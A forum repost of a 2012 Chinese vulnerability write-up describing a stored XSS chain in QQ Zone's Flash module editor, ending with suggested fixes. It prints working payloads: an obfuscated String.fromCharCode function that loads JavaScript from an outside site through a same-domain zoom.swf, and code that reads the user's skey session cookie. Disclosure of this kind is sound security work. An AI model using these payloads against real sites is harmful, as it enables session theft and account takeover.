车世界 發表於 2012-6-1 11:12:12

QQ空间存储型XSS漏洞的组合利用(图解)

<p>1. QQ空间某处正则混乱,导致恶意构造。<br />2. QQ空间某文件存在潜在风险<br />3. 1+2 = 此漏洞<br />&nbsp;<br />详细说明:<br /><br />1. 一开始的目标是这个http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,这个页面是用来修改QQ空间模块内容的。这里我选择提交的是FLASH模块。 由于此请求,每请求一次都需要输入一个验证码,所以没办法直接在抓包工具里修改并发送。所以最初是用调试工具去修改DOM属性,然后写自定义值来一次一次的试,后来实在觉得太麻烦了,就自己临时写了个小工具。以下测试均用此工具进行,如下,<br />&nbsp;<br />&nbsp;<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/201206010933095.jpg" /><br />&nbsp;<br />&nbsp;<br />2. 开始试了此请求的几个参数(这里的参数是指qzml所发送的xml里的若干属性,例如width, height ,wmode etc ..),都被过滤了, 后来懒么,就把能写入内容的都改成了&#39;\/&lt;&gt;..,结果侧漏了。。<br />&nbsp;<br />测试的qzml请求参数大概是这样:encodeURIComponent(&#39;&lt;qz:title type=&quot;flash&quot; moduleborder=&quot;true&quot;&gt;xxx&lt;/qz:title&gt;&lt;div&gt;&lt;qz:swf swfsrc=//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf&quot; _fcksavedurl=&quot;//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf&quot;&quot; _fcksavedurl=&quot;//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf&quot;&quot; width=&quot;\&#39;\/&lt;&gt;&quot; height=&quot;\&#39;\/&lt;&gt;&quot; loop=&quot;\&#39;\/&lt;&gt;&quot; waitforclick=&quot;\&#39;\/&lt;&gt;&quot; wmode=&quot;\&#39;\/&lt;&gt;&quot;/&gt;&lt;/div&gt;&#39;.replace(/\s/g,&quot;+&quot;)).replace(/%2B/g,&quot;+&quot;);<br />&nbsp;<br />侧漏效果大概如下:(反正是类似这个效果,懒的回去抓图了。)<br />&nbsp;<br />&nbsp;<br />&nbsp;<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/201206010933096.jpg" /><br />&nbsp;<br />3. 开始分析侧漏原因。 发现height属性把其它属性都吞掉了。 于是其它参数复原,单个测试height,在height里加入单引号时, 服务器端的正则貌似就凌乱了。 同样有此现象的还有swfsrc 。<br />&nbsp;<br />因为服务器那边是怎么匹配的,不清楚, 于是就开始各种构造测试,看服务器端输出。<br />&nbsp;<br />反正测试了挺久。 具体就不详述。 因为服务器端输出的embed标签里,总是带着allowscriptaccess=&quot;never&quot;,导致我们调用的FLASH来执行脚本,所以最终目的,就是想用height来屏蔽掉allowscriptaccess=&quot;never&quot; 。<br />&nbsp;<br />测试过程中,出现了以下几种阻碍。<br />&nbsp;<br />3A. allowscriptaccess=&quot;never&quot; 成功被我们的height 吞掉, 但是src属性没了。服务器端输出如下代码:<br />&nbsp;<br />&lt;div style=&quot;height: 142px;&quot; id=&quot;cst_flash&quot;&gt;&lt;embed id=&quot;flash&quot; height=&#39; src=http://ctc.qzs.qq.com/ac/c.gif.swf _fcksavedurl=&quot;http://ctc.qzs.qq.com/ac/c.gif.swf&quot; _fcksavedurl=&quot;http://ctc.qzs.qq.com/ac/c.gif.swf&quot; autostart=&quot;false&quot; loop=&quot;true&quot; invokeurls=&quot;false&quot; allownetworking=&quot;all&quot; allowscriptaccess=&quot;never&quot; wmode=&quot;&#39; type=&quot;application/x-shockwave-flash&quot; width=&quot;&#39;&quot; src=&quot;&quot; invokeurls=&quot;false&quot; scalemode=&quot;noScale&quot; allowscriptaccess=&#39;always&quot;&#39; embed=&quot;embed&quot; menu=&quot;false&quot;&gt;&lt;/div&gt;<br />&nbsp;<br />3B. 自己添加了src 属性, 但是发现服务器端又自己加上了allowscriptaccess=&quot;never&quot; 。。纠结了。服务器端输出如下代码:<br />&nbsp;<br />&lt;div style=&quot;height: 142px;&quot; id=&quot;cst_flash&quot;&gt;&lt;embed id=&quot;flash&quot; height=&quot;/&lt;&gt; src=http://ctc.qzs.qq.com/ac/c.gif.swf&quot; width=&#39;&amp;amp;&quot;34;src = http &#39; src=&quot;/c.swf&quot; allowscriptaccess=&quot;never&quot; allownetworking=&quot;internal&quot; invokeurls=&quot;false&quot; autostart=&quot;true&quot; menu=&quot;false&quot;&gt; autostart=&quot;false&quot; loop=&quot;true&quot; invokeurls=&quot;false&quot; allownetworking=&quot;all&quot; allowscriptaccess=&quot;never&quot; wmode=&quot;opaque&quot; type=&quot;application/x-shockwave-flash&quot; scaleMode=&quot;noScale&quot; &amp;gt;&lt;/div&gt; www.jb51.net&nbsp;<br />4. 对于各种无厘头,有时候还是要靠运气。 在3B的代码基础上,偶然发现,如果src属性里加了\&#39;,就不会出现问题。 所以我们构造src地址为/c.swf?1=\&#39;\&#39;\&#39;, 这样就不会出现allowscriptaccess参数了。<br />&nbsp;<br />5. 但是问题接着来了,大家都知道,allowscriptaccess 默认是sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,还真有一个可以用的。 在抓包QQ空间的时候,瞥见这么一个FLASH,<br />&nbsp;<br />http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange<br />&nbsp;<br />我一瞧, 后面这个QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是个JS函数么。 于是试了一下。<br />&nbsp;<br />http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert<br />&nbsp;<br />果然可以弹出啊。 这样看来,我们可以利用下。 不过这个ctc.qzs.qq.com 和 模块的ctc.qzonestyle.gtimg.cn 还是不是一个域啊, 但是运气好,恰好, 这2个域名,貌似资源文件是一样的,或者有部分是一样的?ctc.qzonestyle.gtimg.cn 下面也有该FLASH文件。 如下:<br />&nbsp;<br />http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert<br />&nbsp;<br />6. 所以,我们最终可以构造出FLASH的src为<br />&nbsp;<br />/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&amp;1=\&#39;\&#39;\&#39;\&#39;<br />&nbsp;<br />其中,前面是FLASH地址,onchange参数调用我们自己函数,1=\&#39;\&#39;\&#39;\&#39; 是为了屏蔽掉allowscriptaccess=&quot;never&quot;<br />&nbsp;<br />7. 上面这个地址我们简写为{SWFURL}, 它是位于height属性里的,如下<br />&nbsp;<br />height=&quot;&amp;quot;\&#39;/\&lt; src={SWFURL} style=width:/ &gt;&quot;<br />&nbsp;<br />8. = = 写不下去了。。 直接上最后的测试代码。 有点乱。。有些是测试残留,没实际意义,比如里的&amp;&amp;#34;34; 这种。。<br />&nbsp;<br />&quot;qzml&quot;:encodeURIComponent(&#39;&lt;qz:title type=&quot;flash&quot; moduleborder=&quot;true&quot;&gt;xxx&lt;/qz:title&gt;&lt;div&gt;&lt;qz:swf swfsrc=//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf\&#39; ALLOWSCRIPTACCESS autostart=true\&#39;\&amp;#x22;\u0009src\u0013=/c.swf / &lt; &gt;&quot; width=&quot;&amp;&amp;#34;34;src = http &quot; height=&quot;&amp;quot;\&#39;/\&lt; src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&amp;1=\&#39;\&#39;\&#39;\&#39; style=width:/ &gt;&quot; loop=&quot;true&quot; waitforclick=&quot;true&quot; wmode=&quot;&quot;/&gt;&lt;/div&gt;&#39;.replace(/\s/g,&quot;+&quot;)).replace(/%2B/g,&quot;+&quot;)<br />&nbsp;<br />9. 上面代码会调用我自己的网站的JS。 在调用JS这一步,<br />&nbsp;<br />目测IE 应该是通杀吧?IE6没试过。vista+IE7, win7+IE8,9 是可以的。<br />&nbsp;<br />Chrome 也是可以的,需要给加上type=&quot;application/x-shockwave-flash&quot; 才行, 没去弄,这个属性应该也是可以加的上的。<br />&nbsp;<br />10. 到这里, 可以alert, 可以跳转。<br />&nbsp;<br />IE下的alert<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/201206010933097.jpg" /><br />&nbsp;<br />&nbsp;<br />&nbsp;<br />&nbsp;<br />Chrome下的跳转<br />&nbsp;<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/201206010933098.jpg" /><br />&nbsp;<br />&nbsp;&nbsp;<br />11. 但是我们亲爱的cookies 没办法弹出来啊。<br />&nbsp;<br />原因是,如前所述,模块的域是ctc.qzonestyle.gtimg.cn ,<br />&nbsp;<br />而空间的域是qq.com ,没有办法跨域获取cookies。<br />&nbsp;<br />不过好在,QQ空间开发人员为我们准备好了这一功能, 原理就是在当前页中,嵌入一个和父窗口同域的iframe页面,来进行通讯。<br />&nbsp;<br />我们直接调用QQ空间开发人员写好的库,来获取cookies,代码如下:<br />&nbsp;<br />QZONE.Cross.Client.getInstance().sendInvoke(&#39;QZFL.cookie.get&#39;, &#39;skey&#39;,function(str){<br />alert(&quot;您的skey是:&quot;+str);<br />});<br />&nbsp;<br />效果如下:<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/201206010933099.jpg" /><br />&nbsp;<br />&nbsp;<br />&nbsp;<br />需要说明的是: 获取cookies这一步,IE下有效,chrome 貌似错误了,粗略看了下,对于跨域请求,Qzone开发人员针对HTML5和普通的采用的是不同的方案,在chrome下莫名的悲剧了。。 我只是调用了你们开发人员写的东西,= = 悲剧别找我,哈哈<br /><br /><span style="color:#ff0000">修复方案:</span><br /><br />1. 服务器端在从提交过去的qzml这段XML里获取FLASH的属性时,正则写错了? 只是猜测。<br />2. 目测服务器端验证qzml是否合法的正则不够好, 像width, height 这种参数,直接\d{m,n}就可以吧。 貌似width ,height 属性里什么东西都可以写啊。 只在客户端限制width,height输入框长度为3,没什么实际作用的。。其它属性也一样,什么wmode只需要true|false 即可。<br />3. 这个http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location=&#39;钓鱼网站&#39;} 单独就是一个漏洞。<br />&nbsp;<br />http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 这个被利用的flash文件需修改一下。 在FLASH限制一下onchange 参数的值。<br />&nbsp;<br />作者 gainover</p>
頁: [1]
查看完整版本: QQ空间存储型XSS漏洞的组合利用(图解)